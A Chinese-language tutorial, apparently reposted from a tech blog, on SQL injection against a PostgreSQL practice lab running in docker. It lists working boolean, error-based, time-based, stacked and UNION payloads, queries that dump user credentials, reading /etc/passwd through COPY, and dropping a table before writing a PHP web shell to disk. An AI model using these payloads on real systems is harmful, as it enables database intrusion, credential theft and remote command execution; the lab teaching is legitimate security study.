postgresql注入的示例分析

小编给大家分享一下postgresql注入的示例分析,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!

PostgreSQL 是一个免费的对象-关系数据库服务器 (ORDBMS),在灵活的 BSD 许可证下发行。

PostgreSQL 开发者把它念作 post-gress-Q-L。

PostgreSQL 的 Slogan 是 "世界上最先进的开源关系型数据库"。

这里我们通过一个简单的靶场来学习 postgresql 数据库相关漏洞

一、浏览器访问数据

这里我们是利用 docker 搭建的环境

访问我们搭建的地址:http://172.16.1.238:90/index.php?uid=1

postgresql注入的示例分析

二、验证注入

基于布尔型注入(boolean-based blind)

index.php?uid=1 AND 1=1 运行正常

index.php?uid=1 AND 1=2 运行异常

postgresql注入的示例分析

postgresql注入的示例分析

基于报错注入(error-based)

获取版本号:

select * from tbuser where id=1 AND 7778=CAST((SELECT version())::text AS NUMERIC)

postgresql注入的示例分析

获取 Schemas 名称

select * from tbuser where id=1 AND 7778=CAST((SELECT schemaname FROM pg_tables limit 1)::text AS NUMERIC)

postgresql注入的示例分析

基于时间的盲注(time-based blind)

AND 6489=(SELECT 6489 FROM PG_SLEEP(5)) 延时 5 秒

postgresql注入的示例分析

基于堆叠查询(多语句查询,stacked queries)

?uid=1;select PG_SLEEP(5)–

postgresql注入的示例分析

基于联合查询(UNION query)

?uid=1 order by 1,2,3 运行正常

?uid=1 order by 1,2,3,4 运行异常,获取字段数 3

?uid=1 UNION ALL SELECT NULL,('11111'),NULL– 查看是否输出 11111

postgresql注入的示例分析

postgresql注入的示例分析

postgresql注入的示例分析

获取数据库结构和内容

此处均为联合查询

获取模式名称(schemaname)名称

?uid=1 UNION SELECT NULL,COALESCE(CAST(schemaname AS CHARACTER(10000)),(CHR(32))),NULL FROM pg_tables--

语法解析:

COALESCE(expression[,n]) coalesce 函数返回参数(列名)中第一个非 NULL 值的字段值,注意不是为空''

cast ('1' as numeric) 1 转换为数字类型

简化:

?uid=1 UNION SELECT NULL,schemaname,NULL FROM pg_tables--

postgresql注入的示例分析

用户创建的数据库默认模式名称(schemaname)为 public

获取数据表名称

uid=1 UNION ALL SELECT NULL,tablename,NULL FROM pg_tables WHERE schemaname IN ('public')

postgresql注入的示例分析

获取表字段名称

?uid=1 UNION SELECT NULL,attname,NULL FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='tbuser' AND nspname='public'—

postgresql注入的示例分析

获取表内容

?uid=1 UNION ALL SELECT NULL,id||','||username||','||passwd,NULL FROM public.tbuser--

postgresql注入的示例分析

三、文件或目录操作

PostgreSQL 中部分内置函数、表

postgresql注入的示例分析

列目录——只能列安装目录下的文件

?uid=1 union select NULL,NULL,pg_ls_dir('./')

postgresql注入的示例分析

读文件

?uid=1;

CREATE TABLE passwd(t TEXT);

COPY passwd FROM '/etc/passwd';

SELECT NULL,t,NULL FROM passwd;

postgresql注入的示例分析

写文件

?uid=1;

DROP TABLE pass;(这里需要为数据库存在的表)

CREATE TABLE hacktb (t TEXT);

INSERT INTO hacktb(t) VALUES ('<?php @system("$_GET[cmd]");?>');

COPY hacktb(t) TO '/tmp/hack.php';

postgresql注入的示例分析

postgresql注入的示例分析

以上是“postgresql注入的示例分析”这篇文章的所有内容,感谢各位的阅读!相信大家都有了一定的了解,希望分享的内容对大家有所帮助,如果还想学习更多知识,欢迎关注亿速云行业资讯频道!

原创文章,作者:3628473679,如若转载,请注明出处:https://blog.ytso.com/226022.html

(0)
上一篇 2022年1月8日
下一篇 2022年1月8日

相关推荐

发表回复

登录后才能评论